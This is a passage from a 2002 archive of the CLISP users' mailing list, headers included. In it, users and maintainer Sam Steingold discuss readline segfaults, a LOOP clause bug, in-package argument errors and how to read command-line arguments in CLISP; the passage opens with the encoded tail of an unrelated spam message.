NS43Ny4xMTMvd2luYmlnc2NyZWVudHZzLmNvbS9pbmRleC5waHAiPkNMSUNLIEhFUkU8L2E+IHRo ZW4gY2xpY2sgcmVtb3ZlLjxCT0RZPjwvSFRNTD4NCiANCg== ------=_NextPart_oabtafbqelx.1035016467 From vvzhy@mail.ru Sat Oct 19 10:25:36 2002 Received: from mx10.mail.ru ([194.67.57.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182xLx-0000J9-00 for ; Sat, 19 Oct 2002 10:25:34 -0700 Received: from drweb by mx10.mail.ru with drweb-scanned (Exim MX.A) id 182xLu-000ByF-00; Sat, 19 Oct 2002 21:25:30 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx10.mail.ru with esmtp (Exim SMTP.A) id 182xLu-000By8-00; Sat, 19 Oct 2002 21:25:30 +0400 Message-ID: <3DB1049B.5040006@yandex.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en MIME-Version: 1.0 To: sds@gnu.org CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp 2.30 and readline problems References: <3DB017A2.20505@yandex.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 19 10:26:01 2002 X-Original-Date: Sat, 19 Oct 2002 10:07:07 +0300 Sam Steingold ?????: >>* In message <3DB017A2.20505@yandex.ru> >>* On the subject of "clisp 2.30 and readline problems" >>* Sent on Fri, 18 Oct 2002 17:16:02 +0300 >>* Honorable "Vadim V. Zhytnikov" writes: >> >>I experience some readline related problems with clisp 2.30 CVS. >> >> > >is it release 2.30 or the current CVS head? >what is your platform? > > Both 2.30 release and CVS. My platform is Linux 2.4.18, glibc 2.2.6, readline 4.2a, gcc 3.2.1 > > >>Pressing Tab to get command completion always causes segfault. >>As far as I can remember clisp 2.30 release notes mention >>readline 4.3 but I have older readline 4.2a. -- >> >> > >Could you please './configure --with-debug' and give me the backtrace? >Thanks. > > > I'll try. -- Vadim V. Zhytnikov From vvzhy@mail.ru Sat Oct 19 10:25:38 2002 Received: from mx7.mail.ru ([194.67.57.17]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 182xLz-0000JK-00 for ; Sat, 19 Oct 2002 10:25:36 -0700 Received: from drweb by mx7.mail.ru with drweb-scanned (Exim MX.7) id 182xLw-0003r9-00 for clisp-list@lists.sourceforge.net; Sat, 19 Oct 2002 21:25:32 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx7.mail.ru with esmtp (Exim SMTP.7) id 182xLv-0003pw-00 for clisp-list@lists.sourceforge.net; Sat, 19 Oct 2002 21:25:32 +0400 Message-ID: <3DB1A36D.6050903@yandex.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en MIME-Version: 1.0 To: Clisp List Subject: Re: [clisp-list] clisp 2.30 and readline problems References: <3DB017A2.20505@yandex.ru> <3DB06AB9.5080004@users.sourceforge.net> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 8bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 19 10:26:02 2002 X-Original-Date: Sat, 19 Oct 2002 21:24:45 +0300 Stefan Kain ÐÉÛÅÔ: > Hello, > > I experienced the same problem. > > Vadim V. Zhytnikov wrote: > >> Hi! >> >> I experience some readline related problems with clisp 2.30 CVS. >> Pressing Tab to get command completion always causes segfault. >> As far as I can remember clisp 2.30 release notes mention >> readline 4.3 but I have older readline 4.2a. > > > > After I had installed libsigsegv and readline 4.3 and recompiled > clisp, the problems disappeared. > Are you sure? Firstly, I also upgraded to redline 4.3 and rebuild clisp (cvs HEAD). Sutuation improved a bit some segfaults dissapeared but not all. Next I installed libsigsegv. Fine, no segfaults! But now I can see error (stack owerflow) which caused these segfault without libsigsegv: Script started on Sat Oct 19 14:43:08 2002 [vadim@proxl vadim]$ clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2002 [1]> ab *** - Program stack overflow. RESET [2]> -- Vadim V. Zhytnikov From sds@gnu.org Sat Oct 19 14:04:38 2002 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1830ly-0002IH-00 for ; Sat, 19 Oct 2002 14:04:38 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop018.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021019210431.XWTA1896.pop018.verizon.net@loiso.podval.org>; Sat, 19 Oct 2002 16:04:31 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9JL5EVm003657; Sat, 19 Oct 2002 17:05:14 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9JL5ELh003653; Sat, 19 Oct 2002 17:05:14 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Vadim V. Zhytnikov" Cc: Subject: Re: [clisp-list] clisp 2.30 and readline problems References: <3DB017A2.20505@yandex.ru> <3DB06AB9.5080004@users.sourceforge.net> <3DB1A36D.6050903@yandex.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DB1A36D.6050903@yandex.ru> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop018.verizon.net from [151.203.41.208] at Sat, 19 Oct 2002 16:04:31 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 19 14:05:02 2002 X-Original-Date: 19 Oct 2002 17:05:14 -0400 > * In message <3DB1A36D.6050903@yandex.ru> > * On the subject of "Re: [clisp-list] clisp 2.30 and readline problems" > * Sent on Sat, 19 Oct 2002 21:24:45 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > [1]> ab > *** - Program stack overflow. RESET I do not observe this (linux2.4.18, libc 2.2.93, rh8, no libsigsegv). Could you please try to debug this a little bit? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The difference between theory and practice is that in theory there isn't any. From tfb@ocf.berkeley.edu Sat Oct 19 18:47:57 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1835C8-0002xx-00 for ; Sat, 19 Oct 2002 18:47:56 -0700 Received: from apocalypse.OCF.Berkeley.EDU (daemon@apocalypse.OCF.Berkeley.EDU [128.32.191.249]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g9K1lr125436 for ; Sat, 19 Oct 2002 18:47:53 -0700 (PDT) Received: (from tfb@localhost) by apocalypse.OCF.Berkeley.EDU (8.11.6/8.9.3) id g9K1lrm06713; Sat, 19 Oct 2002 18:47:53 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Message-ID: <15794.2888.731787.244999@apocalypse.OCF.Berkeley.EDU> To: CLISP Users List X-Mailer: VM 6.90 under Emacs 20.7.1 Subject: [clisp-list] Bug in LOOP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 19 18:48:03 2002 X-Original-Date: Sat, 19 Oct 2002 18:47:52 -0700 I'm using CLISP 2.27. I've noticed the following bug in CLISP's handling of for-as-equals-then loop clauses: (defun loop-for-as-equals-then-bug () "According to the HyperSpec =A76.1.2.1.4, in for-as-equals-then, var is initialized to the result of evaluating form1. =A76.1.7.2 says that initially clauses are evaluated in the loop prologue, which precedes all loop code except for the initial settings provided by with, for, or as. However, in the example below, the initially clause is evaluated before X is initialized." (loop for x =3D 0 then (1+ x) initially (assert (zerop x)) until (>=3D x 10))) --=20 /|_ .-----------------------. =20 ,' .\ / | No to Imperialist war | =20 ,--' _,' | Wage class war! | =20 / / `-----------------------' =20 ( -. | =20 | ) | =20 (`-. '--.) =20 `. )----' =20 From deego@gnufans.redirectme.net Tue Oct 22 08:04:29 2002 Received: from 24-197-159-102.charterga.net ([24.197.159.102] helo=computer) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1840a4-00058p-00 for ; Tue, 22 Oct 2002 08:04:28 -0700 Received: from deego by computer with local (Exim 3.36 #1 (Debian)) id 1840a3-00016C-00 for ; Tue, 22 Oct 2002 11:04:27 -0400 To: clisp-list@lists.sourceforge.net From: D. Goel Message-ID: <87fzuyfrb9.fsf@computer.localdomain> Lines: 46 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 08:05:05 2002 X-Original-Date: 22 Oct 2002 11:04:26 -0400 Is this the right place to report a possible bug or ask a dumb question? I do this: ,---- | deego@darwin:~$ clisp | `-__|__-' 8 8 8 8 8 | | 8 o 8 8 o 8 8 | ------+------ ooooo 8oooooo ooo8ooo ooooo 8 | | [1]> (in-package 'access) | | *** - IN-PACKAGE: argument 'ACCESS should be a string or a symbol | 1. Break [2]> | `---- But isn't 'ACCESS a symbol already? deego@darwin:~$ clisp --version GNU CLISP 2.30 (released 2002-09-15) (built 3241812248) (memory 3244212566) Features: (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB CLX CLX-LITTLE-ENDIAN HAVE-WITH-STANDARD-IO-SYNTAX HAVE-CLCS HAVE-DECLAIM HAVE-PRINT-UNREADABLE-OBJECT CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER SYSCALLS PC386 UNIX) deego@darwin:~$ uname -a: Linux darwin 2.4.19 #1 SMP Mon Sep 16 14:53:09 EDT 2002 i686 AMD Athlon(TM) XP1600+ AuthenticAMD GNU/Linux Have a good day, DG http://deego.gnufans.org/~deego/ -- From deego@gnufans.redirectme.net Tue Oct 22 11:05:09 2002 Received: from 24-197-159-102.charterga.net ([24.197.159.102] helo=computer) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1843Ou-0001JY-00 for ; Tue, 22 Oct 2002 11:05:08 -0700 Received: from deego by computer with local (Exim 3.36 #1 (Debian)) id 1843Ot-0001Rr-00 for ; Tue, 22 Oct 2002 14:05:07 -0400 To: clisp-list From: D. Goel Message-ID: <87znt6e4dp.fsf@computer.localdomain> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] accessing command-line-arguments from within clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 11:06:01 2002 X-Original-Date: 22 Oct 2002 14:05:06 -0400 Hello is there a way to access command line arguments from within clisp? Else, WIBNI to provide a way? -- if so, could this be treated as a feature-request? thanks In ACL, i could have dump an image and then call: image -- "foo" "bar" ... and the variable command-line-arguments was then bound to '("image" "foo" "bar"), which made for a nice interface... In clisp (2.30) , i don't seem to see a similar functionality. I do see an *args*, but am very confused as to its usage.. I have tried, clisp "" "foo" "bar", hoping that arg will then be bound to '("foo" "bar"). Instead clisp tries to look for files foo and bar :( Secondly, it seems from the doc that *args* is only temporarily bound. Any help appreciated. (I am trying to port an application written in ACL to clisp, and command-line-arguments seems to be the last stumbling block.) DG http://deego.gnufans.org/~deego/ -- From ayan@ayan.net Tue Oct 22 11:18:04 2002 Received: from user126.net293.fl.sprint-hsd.net ([64.45.231.126] helo=sol.ayan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1843bO-0001Pb-00 for ; Tue, 22 Oct 2002 11:18:02 -0700 Received: from sol.ayan.net (ayan@localhost [127.0.0.1]) by sol.ayan.net (8.12.6/8.12.6) with ESMTP id g9MIHUot027013; Tue, 22 Oct 2002 14:17:30 -0400 (EDT) Received: from localhost (ayan@localhost) by sol.ayan.net (8.12.6/8.12.6/Submit) with ESMTP id g9MIHTrH027010; Tue, 22 Oct 2002 14:17:29 -0400 (EDT) X-Authentication-Warning: sol.ayan.net: ayan owned process doing -bs From: Ayan George To: "D. Goel" cc: clisp-list Subject: Re: [clisp-list] accessing command-line-arguments from within clisp In-Reply-To: <87znt6e4dp.fsf@computer.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 11:19:01 2002 X-Original-Date: Tue, 22 Oct 2002 14:17:29 -0400 (EDT) Hey, Try: clisp ... Where if you have foo.lisp that contains: ( print *args* ) You can call foo.lisp thusly: $ clisp foo.lisp "foo" "bar" ("foo" "bar") -Ayan On 22 Oct 2002, D. Goel wrote: > Hello > > is there a way to access command line arguments from within clisp? > Else, WIBNI to provide a way? -- if so, could this be treated as a > feature-request? thanks > > In ACL, i could have dump an image and then call: > > image -- "foo" "bar" ... > > and the variable command-line-arguments was then bound to '("image" > "foo" "bar"), which made for a nice interface... > > > In clisp (2.30) , i don't seem to see a similar functionality. > > I do see an *args*, but am very confused as to its usage.. > I have tried, clisp "" "foo" "bar", hoping that arg will then be bound > to '("foo" "bar"). Instead clisp tries to look for files foo and bar > :( > > Secondly, it seems from the doc that *args* is only temporarily bound. > > Any help appreciated. > > (I am trying to port an application written in ACL to clisp, and > command-line-arguments seems to be the last stumbling block.) > > > DG http://deego.gnufans.org/~deego/ > -- > > > ------------------------------------------------------- > This sf.net emial is sponsored by: Influence the future > of Java(TM) technology. Join the Java Community > Process(SM) (JCP(SM)) program now. > http://ad.doubleclick.net/clk;4699841;7576301;v?http://www.sun.com/javavote > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From sds@gnu.org Tue Oct 22 11:25:03 2002 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1843iB-0002dY-00 for ; Tue, 22 Oct 2002 11:25:03 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop015.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021022182450.QROA28019.pop015.verizon.net@loiso.podval.org>; Tue, 22 Oct 2002 13:24:50 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9MIQGVm002391; Tue, 22 Oct 2002 14:26:16 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9MIQFBY002386; Tue, 22 Oct 2002 14:26:15 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "D. Goel" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol References: <87fzuyfrb9.fsf@computer.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87fzuyfrb9.fsf@computer.localdomain> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop015.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 13:24:50 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 11:26:02 2002 X-Original-Date: 22 Oct 2002 14:26:15 -0400 > * In message <87fzuyfrb9.fsf@computer.localdomain> > * On the subject of "[clisp-list] (in-package 'access ...) ==> 'access should be a symbol" > * Sent on 22 Oct 2002 11:04:26 -0400 > * Honorable "D. Goel" writes: > > Is this the right place to report a possible bug or ask a dumb question? yes (it is also a good idea to subscribe to this list or read it via gmane.org) > | [1]> (in-package 'access) > | > | *** - IN-PACKAGE: argument 'ACCESS should be a string or a symbol > | 1. Break [2]> > | > `---- > > But isn't 'ACCESS a symbol already? 'ACCESS == (QUOTE ACCESS) is a cons. See > Features: > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB why do you use both ASDF and MK-DEFSYSTEM? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Programming is like sex: one mistake and you have to support it for a lifetime. From sds@gnu.org Tue Oct 22 12:12:48 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1844SO-0000ov-00 for ; Tue, 22 Oct 2002 12:12:48 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021022191240.QCFI1423.pop017.verizon.net@loiso.podval.org>; Tue, 22 Oct 2002 14:12:40 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9MJE7Vm004131; Tue, 22 Oct 2002 15:14:07 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9MJE6j2004127; Tue, 22 Oct 2002 15:14:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "D. Goel" Cc: clisp-list Subject: Re: [clisp-list] accessing command-line-arguments from within clisp References: <87znt6e4dp.fsf@computer.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87znt6e4dp.fsf@computer.localdomain> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 14:12:40 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 12:13:24 2002 X-Original-Date: 22 Oct 2002 15:14:06 -0400 > * In message <87znt6e4dp.fsf@computer.localdomain> > * On the subject of "[clisp-list] accessing command-line-arguments from within clisp" > * Sent on 22 Oct 2002 14:05:06 -0400 > * Honorable "D. Goel" writes: > > is there a way to access command line arguments from within clisp? $ clisp -x '(saveinitmem "foo" :init-function (lambda () (print *args*) (exit)))' 990292 ; 524288 $ clisp -M foo.mem "" a b c d ("a" "b" "c" "d") $ -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Single tasking: Just Say No. From sds@gnu.org Tue Oct 22 13:25:41 2002 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1845au-0006xo-00 for ; Tue, 22 Oct 2002 13:25:40 -0700 Received: from loiso.podval.org ([151.203.41.208]) by out001.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021022202533.DGZL3265.out001.verizon.net@loiso.podval.org>; Tue, 22 Oct 2002 15:25:33 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9MKR0Vm006737; Tue, 22 Oct 2002 16:27:00 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9MKQxDa006733; Tue, 22 Oct 2002 16:26:59 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Marco Antoniotti Cc: clisp-list@lists.sourceforge.net References: <87fzuyfrb9.fsf@computer.localdomain> <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.41.208] at Tue, 22 Oct 2002 15:25:33 -0500 Subject: [clisp-list] Re: Trying to send an email to clisp-list... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 13:26:02 2002 X-Original-Date: 22 Oct 2002 16:26:59 -0400 Hi Marco, > * In message <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu> > * On the subject of "Trying to send an email to clisp-list..." > * Sent on Tue, 22 Oct 2002 15:35:52 -0400 > * Honorable Marco Antoniotti writes: > > I have been trying to send an email to clisp-list for a few days > without success. Could you check is it gets blocked by mailman? nope - the admin interface is clean - none of your message has been blocked. > The email is about clisp 2.30. This is what I get. I think it is a bug. > > [2]> (compile-file-pathname "foo.lisp") > > *** - UNIX error 13 (EACCES): Permission denied > 1. Break [3]> one of the directories in *load-path* or the current directory is unreadable. (compile-file "foo.lisp") would signal an error too. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Lisp suffers from being twenty or thirty years ahead of time. From deego@gnufans.redirectme.net Tue Oct 22 14:16:42 2002 Received: from 24-197-159-102.charterga.net ([24.197.159.102] helo=computer) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1846OH-00085I-00 for ; Tue, 22 Oct 2002 14:16:41 -0700 Received: from deego by computer with local (Exim 3.36 #1 (Debian)) id 1846OF-0001r7-00 for ; Tue, 22 Oct 2002 17:16:39 -0400 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol References: <87fzuyfrb9.fsf@computer.localdomain> From: D. Goel In-Reply-To: Message-ID: <87n0p6cgy0.fsf@computer.localdomain> Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 14:17:04 2002 X-Original-Date: 22 Oct 2002 17:16:39 -0400 Thanks for the reply, Sam. > > yes (it is also a good idea to subscribe to this list or read it via gmane.org) Subscribed (already), thanks. > > Features: > > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB > > why do you use both ASDF and MK-DEFSYSTEM? I didn't try to use both. I simply tried the plain debian install apt-get -t unstable -u install clisp and got clisp 2.30 installed. Then, when reporting my problem, i just typed the clisp --version, and pasted the result. So, is my clisp using both? Is using both bad? Is my install therefore a bit 'broken' ? PS: > > But isn't 'ACCESS a symbol already? [...] Ahh, I see should have tried (in-package USER) or (in-package "USER") instead DG http://deego.gnufans.org/~deego/ -- From deego@gnufans.redirectme.net Tue Oct 22 14:19:47 2002 Received: from 24-197-159-102.charterga.net ([24.197.159.102] helo=computer) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1846RG-0000Xk-00 for ; Tue, 22 Oct 2002 14:19:46 -0700 Received: from deego by computer with local (Exim 3.36 #1 (Debian)) id 1846RF-0001rH-00 for ; Tue, 22 Oct 2002 17:19:45 -0400 To: clisp-list Subject: Re: [clisp-list] accessing command-line-arguments from within clisp References: <87znt6e4dp.fsf@computer.localdomain> From: D. Goel In-Reply-To: Message-ID: <87iszucgsv.fsf@computer.localdomain> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 22 14:20:05 2002 X-Original-Date: 22 Oct 2002 17:19:44 -0400 Thanks for your messages, Ayan and Sam. Now i do see the (someewhat roundabout) way to get an image to store its arguments in a clisp varible. But again, WIBNI if clisp did that by default---store the commandline as a string or a list of arguemnts, in a global variable... DG http://deego.gnufans.org/~deego/ -- From sds@gnu.org Tue Oct 22 14:51:25 2002 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1846vt-00010y-00 for ; Tue, 22 Oct 2002 14:51:25 -0700 Received: from loiso.podval.org ([151.203.41.208]) by pop016.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021022215117.SHAJ1630.pop016.verizon.net@loiso.podval.org>; Tue, 22 Oct 2002 16:51:17 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9MLqjVm010360; Tue, 22 Oct 2002 17:52:45 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9MLqj1S010354; Tue, 22 Oct 2002 17:52:45 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "D. Goel" Cc: clisp-list Subject: Re: [clisp-list] accessing command-line-arguments from within clisp References: <87znt6e4dp.fsf@computer.localdomain> <87iszucgsv.fsf@computer.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87iszucgsv.fsf@computer.localdomain> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 